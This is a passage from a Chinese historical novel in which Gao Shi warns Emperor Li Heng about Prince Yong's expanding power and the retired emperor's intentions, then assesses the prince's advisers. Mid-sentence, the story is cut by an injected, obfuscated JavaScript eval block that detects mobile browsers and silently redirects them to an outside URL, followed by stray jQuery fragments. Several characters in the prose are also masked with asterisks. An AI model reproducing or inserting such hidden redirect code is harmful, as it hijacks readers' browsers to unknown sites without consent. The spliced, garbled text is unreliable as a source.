“陛下,微臣不敢说。”高适望着裴冕,依旧不说话。
李亨对裴冕使了个眼色,裴冕知趣离去。
等裴冕走远,高适再次跪地,“这是陛下的家事,更是军国大事,微臣不得不说,不当之处,还望陛下恕罪。”
“你说吧,不论你说什么,朕都恕你无罪!”李亨表态道。
高适环顾四下无人,徐徐述说道,“陛下,你是知道的,六月中马嵬驿兵变,六月下扶风留别,七月中陛下在灵武登基为帝,随即昭告天下,然太上皇得到消息已经在八月中蜀郡。微臣随同太上皇行进到汉中,太上皇曾下诏给永王、丰王和盛王以及陛下,立刻赴镇江陵、武威和广陵,统领四镇节度使,招兵买马,意图围歼叛军。微臣极力反对,然太上皇心意已决,一意孤行。
“后丰王和盛王并没有赴镇,但永王即刻赴镇下了襄阳,广纳贤士,招兵买马,两个月时间,便在江陵**了一支高达四五万的兵力。幕府中有薛镠、李白、韦子春、李台卿、刘巨鳞和蔡垧为谋士,有襄城王李偒、季广琛、浑惟明、高仙琦、冯季康为将,更有太上皇任命的大都督府长史李岘、少府监永王傅窦昭和微臣,俨然已经形成了一个小朝廷。”
李亨听闻,怫然变色道,“啊,这么多人!”
“兵多将广倒是其次,主要是太上皇刚给永王下了一道诰令,委任他为江淮兵马大都督兼扬州节度大使,责令永王顺江而下,占据江淮,绕过扬州从海上进攻范阳。”高适幽幽地说出了一个更让李亨胆战心惊的话语。
“你担心永王割据江东?”李亨一针见血地指出。
“正是微臣忧心之处。”高适附和道,“永王已经是江陵大都督领山南东道、黔中道、江南西道和岭南道四镇节度使,现在又兼任扬州节度大使和江淮兵马大都督,这就相当于把盛王的权力全盘接手过来。如果永王到了扬州,岂不是把江南东道、淮南道和河南道三道兵力也集中到自己的麾下。届时,整个南方和江淮广大地区将全是永王的天下。”
“啊,朕实在没有想到。”李亨脸都白了,“难怪朕让他来灵武,他置之不理;朕劝他去蜀郡他装傻充愣;原来,永王的势力已经发展到如此恐怖的地步!”
“微臣最担心的还在后头。”高适咽了一口唾沫,鼓足勇气说道。
“还有什么,快说?”李亨急不可待。
“太上皇的态度和真实目的。”高适斟酌再三,还是没有勇气说得太直白。
“太上皇?”李亨眉心一耸,整个人都紧张起来,直直地盯着高适,眼睛瞪得很大,“你觉得,太上皇什么态度,有什么想法?”
“微臣不敢妄自猜测。”高适噤若寒蝉,不敢说。
“朕已经说了,恕你无罪!”李亨再次表态道。
“八月中,陛下的诏令送达蜀郡,太上皇一连数日茶饭不思,很明显,他没有想到,陛下这么快就在灵武登基为帝。在太上皇看来,他仅仅把你视为与永王、丰王和盛王一样的藩王,委任你们自筹兵马的权力,各自招兵买马,形成东西南北四支进攻叛军的兵力,他在蜀中稳坐中军帐,指挥天下兵马平定叛军。但是,陛下突然登基,这就打乱了太上皇的原定军事部署。他不得不思考应对之策。”高适小心翼翼地说着,偷偷地观察着李亨的面部变化。
“太上皇做出了什么应对之策?”李亨忙问。
“其一,太上皇接受陛下登基为帝的事实,并责令韦见素、房琯和崔涣护送传国玉玺至灵武,传位给陛下。其二,太上皇当即宣称,军国大事交给陛下处理,但是事后陛下需向太上皇禀告,拥有知情权。收回两京后,不再过问政事。其三,改诏令为诰令,再次重申:陛下北定朔方,诸王分守重镇,合其兵势,以定中原。”高适仅仅陈述了李隆基当时的反应。
“这些,朕早就知晓,没有新意。”李亨不以为然。
“那是陛下没有往深层去理解。”高适循循善诱道。
“什么意思?”李亨有些生气。
“表面看,的确是正常的例行性动作,其实,太上皇的几乎每一步都暗藏着深意和玄机。”高适娓娓道来。
“请详细述说。”李亨责令道。
“数日茶饭不思,而后不得不接受陛下登基为帝的事实,说明了太上皇根本就不愿意放下手中的权力,是考虑到全国的平叛大局和陛下坐拥朔方军的实际情况,做出的无奈之举。”高适再次环顾左右后低声说道,“让房琯、韦见素和崔涣三位内阁丞相共同护送传国玉玺,显然是大材小用了。微臣认为,这是太上皇派来陛下身边的心腹,目的就是监视陛下的一举一动。”
李亨眉头拧成了疙瘩,虽然没有说话,但是明显已经接受了高适的看法。
“太上皇的第二点要求有何深意?”李亨再问。
“军国大权交给陛下处置,这是基于承认陛下登基为帝后的必然动作,但是,保留知情权,就说明了太上皇不想完全放权给陛下。”高适分析道,“收复两京后不再过问政事,那更是权宜之计了。如果两京收不回来哩?那就意味着太上皇一直不会完全放权。对吧?”
“对,的确是这样。”李亨目光坚毅地说,“看来,朕必须回调郭子仪和李光弼的河北军,集中朔方军和河东军,全力进攻长安叛军,尽快收复两京。”
“此时,万万不可。河东和河北,官军与叛军激战正酣,怎么能轻易调回郭子仪和李光弼的河北军?应该放任两位将领对叛军发动进一步的进攻,意图获得更大的胜利,收复更多的失地。如果此时回调河北军,叛军势必反击,刚刚取得的战果旋即灰飞烟灭不复存在。”高适当即反对。
“不为别的,就为太上皇的那句话。”李亨置气道。
“陛下未免太过于情绪化。”高适批评道。
“你说得对,此事容朕仔细斟酌后再做定夺。”李亨不再坚持,但也没有放弃自己的想法。后来的事实证明,他的确是一个心胸狭隘目光短浅的帝王。李亨催促道,“你接着说。”
“诏令改诰令,再一次印证了太上皇就没有打算放权。重申普安策的军事布局,说明了太上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841262|175155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇依旧把陛下放在全国平叛的棋局上通盘考量的。”高适陈述道。
“你是说,在太上皇的眼里,朕依旧是一颗棋子?”李亨勃然大怒。
“太上皇的原话是,元子北略朔方,诸王分守重镇,合其兵势,以定中原。这是什么意思?元子自然指的是陛下,诸王自然指的是永王、丰王、盛王他们仨了。虽然陛下北略朔方是单列,但是诸王分守重镇依旧是没有更改的命令。如果太上皇充分尊重陛下的决策权,还会如此安排吗?他很清楚,诸王分守重镇,带来的后果就是放权容易收权难,弄不好就会出现汉初七王之乱的局面。”高适进一步分析道。
“你在永王身边,是不是已经发现了什么端倪?”李亨追问道。
“是的。”高适直言不讳,“随着江陵大都督府的势力一天天膨胀,豢养如此庞大的军队,势必会消耗大量从江淮运送过来的财赋,必然造成永王的荆襄军和江淮军越来越强大,而陛下的朔方军、河东军和河北军得不到足够的给养而日渐衰弱。到时候,等到陛下平定叛军,等来的也许不是坐拥长安太极宫和大明宫,而是永王那兵强马壮的军队。”
“啊!这可怎么办?”李亨听了坐立不安,在内庭来来**地度步。
高适凭住呼吸,紧张到了极点。
大约一炷**夫,李亨这才停住脚步,狂躁不安地问道,“谏议大夫可曾有破解之策?”
高适倒是气定神闲,不慌不忙地将自己思考了一路的策略说了出来,“陛下不必乱了阵脚,微臣认为,永王虽然有太上皇的默许和纵容,然成不了气候,身边那群人皆是乌合之众,只要不让永王抵达扬州,坐视荆襄军和江淮军合二为一,就不足为患。”
李亨闻之大喜,“哦,你说的是真的?”
“当然。”高适详细列举道,“永王幕府中薛镠是谋主,此人比较沉稳,思虑深远,而且此人是废太子李瑛的连襟,对太上皇处置李瑛和薛锈颇有微词,只要陛下稍加安抚体恤,此人必定会投奔到您的麾下。刘巨鳞的情况跟薛镠近似,在南海太守任上贪赃案发,原本是要诛灭的,潜逃到永王账下。
“韦子春原是朝廷著作郎,卷入天宝八载的咸宁太守赵奉璋案,被**甫打击报复贬出朝廷到了云梦县尉任上,才被永王起用,此人有些能耐,对永王感恩戴德。李白是微臣的故友,原是朝廷翰林待诏,饮酒误事,被赐金放还。现被永王起用,自然对永旺怀有知遇之恩。此二人不易收编,但是,他俩目光短视,缺乏大局意识,不足为虑。
“李台卿和蔡垧皆是贫苦人士,虽有些谋略,但话语权不足,在永王眼里,只起到提意见的参考作用。”
“那些武将都是些什么来历?”李亨问道。
“微臣跟他们接触不多,只知道那个季广琛曾经在河西和陇右跟随哥舒翰领兵打仗,安禄山攻克潼关后,他逃回长安,跟随太上皇入蜀地,深受太上皇信任,故而送给了永王李璘为将,在荆襄军中颇有威望,地位仅次于襄城郡王李偒。其他将帅,微臣不熟识。”高适直言道。